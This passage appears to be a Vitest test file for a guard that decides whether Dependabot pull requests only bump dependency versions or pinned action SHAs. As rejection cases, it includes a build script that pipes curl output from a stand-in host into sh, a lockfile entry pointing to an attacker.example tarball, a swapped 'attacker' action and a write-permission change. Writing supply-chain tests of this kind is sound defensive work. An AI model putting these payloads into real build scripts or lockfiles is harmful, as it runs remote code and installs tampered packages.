'https://registry.npmjs.org/commander/-/commander-15.1.0.tgz', + integrity: 'sha512-commander', + }, + 'vitest@5.0.2': { + resolved: 'https://registry.npmjs.org/vitest/-/vitest-5.0.2.tgz', + integrity: 'sha512-vitest', + }, +}; +function classifyDependabotPR( + input: Parameters[0], +): Decision { + return classifyDependabotPRInternal({ + ...input, + registryMetadata: input.registryMetadata ?? defaultRegistryMetadata, + }); +} + +const login = 'dependabot[bot]'; +const baseRef = 'main'; +const npmTitle = 'build(deps): bump dependencies'; +const actionTitle = 'chore(deps): bump github/codeql-action'; +const basePackage = { + name: '@diginodes/stellarforge-cli', + version: '0.1.0', + scripts: { build: 'tsc -p tsconfig.build.json' }, + dependencies: { commander: '15.0.0' }, + devDependencies: { vitest: '5.0.1' }, +}; +const headPackage = { + ...basePackage, + dependencies: { commander: '15.1.0' }, + devDependencies: { vitest: '5.0.2' }, +}; +function lockFor(manifest: PackageManifest): { + name: unknown; + version: unknown; + lockfileVersion: number; + requires: boolean; + packages: Record>; +} { + const dependencies = manifest.dependencies || {}; + const devDependencies = manifest.devDependencies || {}; + const optionalDependencies = manifest.optionalDependencies || {}; + const peerDependencies = manifest.peerDependencies || {}; + return { + name: manifest.name, + version: manifest.version, + lockfileVersion: 3, + requires: true, + packages: { + '': { + name: manifest.name, + version: manifest.version, + dependencies, + devDependencies, + optionalDependencies, + peerDependencies, + }, + 'node_modules/commander': { + version: (dependencies as Record).commander, + resolved: + 'https://registry.npmjs.org/commander/-/commander-' + + (dependencies as Record).commander + + '.tgz', + integrity: 'sha512-commander', + }, + 'node_modules/vitest': { + version: (devDependencies as Record).vitest, + resolved: + 'https://registry.npmjs.org/vitest/-/vitest-' + + (devDependencies as Record).vitest + + '.tgz', + integrity: 'sha512-vitest', + dev: true, + }, + }, + }; +} +const workflowFile = '.github/workflows/ci.yml'; +function workflowSource(steps: string, extra = ''): string { + return `name: CI\njobs:\n test:\n runs-on: ubuntu-latest\n steps:\n${steps}${extra}`; +} +function workflowRevisions(base: string, head: string) { + return { [workflowFile]: { base, head } }; +} + +describe('Dependabot PR guard policy', () => { + it('allows npm updates limited to dependency ranges and the lockfile', () => { + const result = classifyDependabotPR({ + login, + title: npmTitle, + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage, + headPackage, + baseLock: lockFor(basePackage), + headLock: lockFor(headPackage), + }); + expect(result).toMatchObject({ + allowed: true, + kind: 'npm-dependencies', + changedVersions: 2, + }); + }); + + it('rejects package manifest changes outside dependency sections', () => { + const changed = { + ...headPackage, + scripts: { build: 'curl example.invalid | sh' }, + }; + const result = classifyDependabotPR({ + login, + title: npmTitle, + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage, + headPackage: changed, + baseLock: lockFor(basePackage), + headLock: lockFor(changed), + }); + expect(result.allowed).toBe(false); + expect(result.reason).toMatch(/outside dependency version sections/); + }); + + it('rejects replacing a non-semver dependency source with a version range', () => { + const result = classifyDependabotPR({ + login, + title: npmTitle, + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage: { + ...basePackage, + dependencies: { + commander: 'git+https://example.invalid/commander.git', + }, + }, + headPackage, + baseLock: lockFor({ + ...basePackage, + dependencies: { + commander: 'git+https://example.invalid/commander.git', + }, + }), + headLock: lockFor(headPackage), + }); + expect(result.allowed).toBe(false); + expect(result.reason).toMatch(/non-semver/); + }); + + it('rejects dependency section presence and shape changes', () => { + const withNullSection = { + ...headPackage, + peerDependencies: null, + }; + const withAddedSection = { + ...headPackage, + peerDependencies: { 'new-peer': '1.0.0' }, + }; + const classify = ( + head: PackageManifest, + base: PackageManifest = basePackage, + ) => + classifyDependabotPR({ + login, + title: npmTitle, + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage: base, + headPackage: head, + baseLock: lockFor(base), + headLock: lockFor(head), + }); + const baseWithPeerDependencies = { + ...basePackage, + peerDependencies: {}, + }; + expect(classify(withNullSection, baseWithPeerDependencies).allowed).toBe( + false, + ); + expect(classify(withNullSection, baseWithPeerDependencies).reason).toMatch( + /present dependency sections must remain JSON objects/, + ); + expect(classify(withAddedSection).allowed).toBe(false); + expect(classify(withAddedSection).reason).toMatch( + /retain their original presence/, + ); + }); + + it('rejects adding or removing dependency names', () => { + const changed = { + ...headPackage, + dependencies: { + commander: '15.1.0', + 'unexpected-package': '1.2.3', + }, + }; + const result = classifyDependabotPR({ + login, + title: npmTitle, + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage, + headPackage: changed, + }); + expect(result.allowed).toBe(false); + expect(result.reason).toMatch(/may not add or remove/); + }); + + it('rejects package-only or source-code-changing bot PRs', () => { + const packageOnly = classifyDependabotPR({ + login, + title: npmTitle, + baseRef, + files: [{ filename: 'package.json', status: 'modified' }], + basePackage, + headPackage, + }); + const sourceChange = classifyDependabotPR({ + login, + title: npmTitle, + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + { filename: 'src/cli.ts', status: 'modified' }, + ], + basePackage, + headPackage, + }); + expect(packageOnly.allowed).toBe(false); + expect(sourceChange.allowed).toBe(false); + }); + + it('allows pinned action SHA updates', () => { + const result = classifyDependabotPR({ + login, + title: actionTitle, + baseRef, + files: [{ filename: workflowFile, status: 'modified' }], + workflowContents: workflowRevisions( + workflowSource( + ` - uses: github/codeql-action/init@${'a'.repeat(40)}\n`, + ), + workflowSource( + ` - uses: github/codeql-action/init@${'b'.repeat(40)}\n`, + ), + ), + }); + expect(result).toMatchObject({ + allowed: true, + kind: 'github-actions', + changedFiles: 1, + }); + }); + + it('rejects replacing a pinned action identity', () => { + const result = classifyDependabotPR({ + login, + title: actionTitle, + baseRef, + files: [{ filename: workflowFile, status: 'modified' }], + workflowContents: workflowRevisions( + workflowSource(` - uses: actions/checkout@${'a'.repeat(40)}\n`), + workflowSource( + ` - uses: attacker/unknown-action@${'b'.repeat(40)}\n`, + ), + ), + }); + expect(result.allowed).toBe(false); + expect(result.reason).toMatch( + /workflow updates may change only pinned action SHAs/, + ); + }); + + it('allows pinned SHA updates on unnamed YAML sequence action steps', () => { + const result = classifyDependabotPR({ + login, + title: actionTitle, + baseRef, + files: [{ filename: workflowFile, status: 'modified' }], + workflowContents: workflowRevisions( + workflowSource(` - uses: actions/checkout@${'a'.repeat(40)}\n`), + workflowSource(` - uses: actions/checkout@${'b'.repeat(40)}\n`), + ), + }); + expect(result).toMatchObject({ + allowed: true, + kind: 'github-actions', + changedFiles: 1, + }); + }); + + it('rejects swapping action identities between workflow steps', () => { + const result = classifyDependabotPR({ + login, + title: actionTitle, + baseRef, + files: [{ filename: workflowFile, status: 'modified' }], + workflowContents: workflowRevisions( + workflowSource( + ` - uses: actions/checkout@${'a'.repeat(40)}\n - uses: actions/setup-node@${'b'.repeat(40)}\n`, + ), + workflowSource( + ` - uses: actions/setup-node@${'c'.repeat(40)}\n - uses: actions/checkout@${'d'.repeat(40)}\n`, + ), + ), + }); + expect(result.allowed).toBe(false); + expect(result.reason).toMatch( + /workflow updates may change only pinned action SHAs/, + ); + }); + + it('rejects changes that imitate action references inside run block scalars', () => { + const shaA = 'a'.repeat(40); + const shaB = 'b'.repeat(40); + const base = workflowSource( + ` - run: |\n uses: actions/checkout@${shaA}\n`, + ); + const head = workflowSource( + ` - run: |\n uses: actions/checkout@${shaB}\n`, + ); + const result = classifyDependabotPR({ + login, + title: actionTitle, + baseRef, + files: [{ filename: workflowFile, status: 'modified' }], + workflowContents: workflowRevisions(base, head), + }); + expect(result.allowed).toBe(false); + }); + + it('allows only the canonical version comment to change with an action SHA', () => { + const result = classifyDependabotPR({ + login, + title: actionTitle, + baseRef, + files: [{ filename: workflowFile, status: 'modified' }], + workflowContents: workflowRevisions( + workflowSource( + ` - uses: actions/checkout@${'a'.repeat(40)} # v7.0.1\n`, + ), + workflowSource( + ` - uses: actions/checkout@${'b'.repeat(40)} # v7.0.2\n`, + ), + ), + }); + expect(result.allowed).toBe(true); + }); + + it('does not mask uses-like values outside eligible YAML action paths', () => { + const result = classifyDependabotPR({ + login, + title: actionTitle, + baseRef, + files: [{ filename: workflowFile, status: 'modified' }], + workflowContents: workflowRevisions( + workflowSource( + ` - run: echo safe\n env:\n uses: actions/checkout@${'a'.repeat(40)}\n`, + ), + workflowSource( + ` - run: echo safe\n env:\n uses: actions/checkout@${'b'.repeat(40)}\n`, + ), + ), + }); + expect(result.allowed).toBe(false); + }); + + it('allows a pinned reusable workflow SHA update at the jobs path', () => { + const result = classifyDependabotPR({ + login, + title: actionTitle, + baseRef, + files: [{ filename: workflowFile, status: 'modified' }], + workflowContents: workflowRevisions( + `name: CI\njobs:\n build:\n uses: org/workflows/.github/workflows/build.yml@${'a'.repeat(40)}\n`, + `name: CI\njobs:\n build:\n uses: org/workflows/.github/workflows/build.yml@${'b'.repeat(40)}\n`, + ), + }); + expect(result.allowed).toBe(true); + }); + + it('rejects changing workflow comments alongside action SHAs', () => { + const result = classifyDependabotPR({ + login, + title: actionTitle, + baseRef, + files: [{ filename: workflowFile, status: 'modified' }], + workflowContents: workflowRevisions( + workflowSource( + ` - uses: actions/checkout@${'a'.repeat(40)} # release-one\n`, + ), + workflowSource( + ` - uses: actions/checkout@${'b'.repeat(40)} # release-two\n`, + ), + ), + }); + expect(result.allowed).toBe(false); + }); + + it('rejects changes that imitate action references inside quoted YAML scalars', () => { + const base = workflowSource( + ` - run: "script body\n uses: actions/checkout@${'a'.repeat(40)}"\n`, + ); + const head = workflowSource( + ` - run: "script body\n uses: actions/checkout@${'b'.repeat(40)}"\n`, + ); + const result = classifyDependabotPR({ + login, + title: actionTitle, + baseRef, + files: [{ filename: workflowFile, status: 'modified' }], + workflowContents: workflowRevisions(base, head), + }); + expect(result.allowed).toBe(false); + }); + + it('rejects workflow logic, permissions, and unpinned refs', () => { + const base = workflowSource( + ` - uses: github/codeql-action/init@${'a'.repeat(40)}\n`, + ); + const mixed = classifyDependabotPR({ + login, + title: actionTitle, + baseRef, + files: [{ filename: workflowFile, status: 'modified' }], + workflowContents: workflowRevisions( + base, + workflowSource( + ` - uses: github/codeql-action/init@${'b'.repeat(40)}\n`, + 'permissions:\n contents: write\n', + ), + ), + }); + const unpinned = classifyDependabotPR({ + login, + title: actionTitle, + baseRef, + files: [{ filename: workflowFile, status: 'modified' }], + workflowContents: workflowRevisions( + base, + workflowSource(' - uses: github/codeql-action/init@v4.39.0\n'), + ), + }); + expect(mixed.allowed).toBe(false); + expect(unpinned.allowed).toBe(false); + }); + + it('rejects changed lockfile packages resolved outside the npm registry', () => { + const headLock = lockFor(headPackage); + headLock.packages['node_modules/commander']!.resolved = + 'https://attacker.example/commander.tgz'; + const result = classifyDependabotPR({ + login, + title: npmTitle, + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage, + headPackage, + baseLock: lockFor(basePackage), + headLock, + }); + expect(result.allowed).toBe(false); + expect(result.reason).toMatch(/trusted npm registry metadata/); + }); + + it('rejects non-semver package versions in changed lock entries', () => { + const headLock = lockFor(headPackage); + headLock.packages['node_modules/commander']!.version = 'not-a-version'; + const result = classifyDependabotPR({ + login, + title: npmTitle, + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage, + headPackage, + baseLock: lockFor(basePackage), + headLock, + }); + expect(result.allowed).toBe(false); + expect(result.reason).toMatch(/does not satisfy package.json/); + }); + + it('rejects a resolved direct dependency version outside its manifest range', () => { + const headLock = lockFor(headPackage); + headLock.packages['node_modules/commander']!.version = '15.0.0'; + const result = classifyDependabotPR({ + login, + title: npmTitle, + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage, + headPackage, + baseLock: lockFor(basePackage), + headLock, + }); + + expect(result.allowed).toBe(false); + expect(result.reason).toMatch(/does not satisfy package.json/); + }); + + it('rejects deleting a lock entry required by a retained package', () => { + const headLock = lockFor(headPackage); + headLock.packages['node_modules/commander']!.dependencies = { + 'shared-runtime': '1.0.0', + }; + const result = classifyDependabotPR({ + login, + title: npmTitle, + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage, + headPackage, + baseLock: lockFor(basePackage), + headLock, + }); + + expect(result.allowed).toBe(false); + expect(result.reason).toMatch(/required dependency.*unresolved/); + }); + + it('allows a dev flag change only when the updated graph requires it', () => { + const baseLock = lockFor(basePackage); + const headLock = lockFor(headPackage); + baseLock.packages['node_modules/vitest']!.dependencies = { + shared: '1.0.0', + }; + headLock.packages['node_modules/vitest']!.dependencies = { + shared: '1.0.0', + }; + headLock.packages['node_modules/commander']!.dependencies = { + shared: '1.0.0', + }; + baseLock.packages['node_modules/shared'] = { + version: '1.0.0', + resolved: 'https://registry.npmjs.org/shared/-/shared-1.0.0.tgz', + integrity: 'sha512-shared', + dev: true, + }; + headLock.packages['node_modules/shared'] = { + version: '1.0.0', + resolved: 'https://registry.npmjs.org/shared/-/shared-1.0.0.tgz', + integrity: 'sha512-shared', + }; + baseLock.packages['node_modules/vitest']!.dev = true; + headLock.packages['node_modules/vitest']!.dev = true; + + const result = classifyDependabotPR({ + login, + title: npmTitle, + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage, + headPackage, + baseLock, + headLock, + }); + + expect(result.allowed).toBe(true); + }); + + it('rejects lockfile changes outside updated dependency closures', () => { + const headLock = lockFor(headPackage); + headLock.packages['node_modules/unrelated-package'] = { + version: '1.2.3', + }; + const result = classifyDependabotPR({ + login, + title: npmTitle, + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage, + headPackage, + baseLock: lockFor(basePackage), + headLock, + }); + expect(result.allowed).toBe(false); + expect(result.reason).toMatch( + /outside the updated direct-dependency closure/, + ); + }); + + it('rejects oversized dependency ranges without catastrophic regex work', () => { + const changed = { + ...headPackage, + dependencies: { + commander: '9.9.9|| 9.9.9||'.repeat(1000), + }, + }; + const result = classifyDependabotPR({ + login, + title: npmTitle, + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage, + headPackage: changed, + baseLock: lockFor(basePackage), + headLock: lockFor(changed), + }); + + expect(result.allowed).toBe(false); + expect(result.reason).toMatch(/non-semver|non-string/); + }); + + it('fails closed for invalid authors, titles, branches, and files', () => { + const missingWorkflow = classifyDependabotPR({ + login, + title: actionTitle, + baseRef, + files: [{ filename: workflowFile, status: 'modified' }], + }); + const unrelated = classifyDependabotPR({ + login, + title: actionTitle, + baseRef, + files: [{ filename: 'src/cli.ts', status: 'modified' }], + }); + const wrongAuthor = classifyDependabotPR({ + login: 'ordinary-contributor', + title: npmTitle, + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage, + headPackage, + }); + const wrongTitle = classifyDependabotPR({ + login, + title: 'feat: add a new feature', + baseRef, + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage, + headPackage, + }); + const wrongBase = classifyDependabotPR({ + login, + title: npmTitle, + baseRef: 'release', + files: [ + { filename: 'package.json', status: 'modified' }, + { filename: 'package-lock.json', status: 'modified' }, + ], + basePackage, + headPackage, + }); + + expect(missingWorkflow.allowed).toBe(false); + expect(unrelated.allowed).toBe(false); + expect(wrongAuthor.allowed).toBe(false); + expect(wrongTitle.allowed).toBe(false); + expect(wrongBase.allowed).toBe(false); + }); +});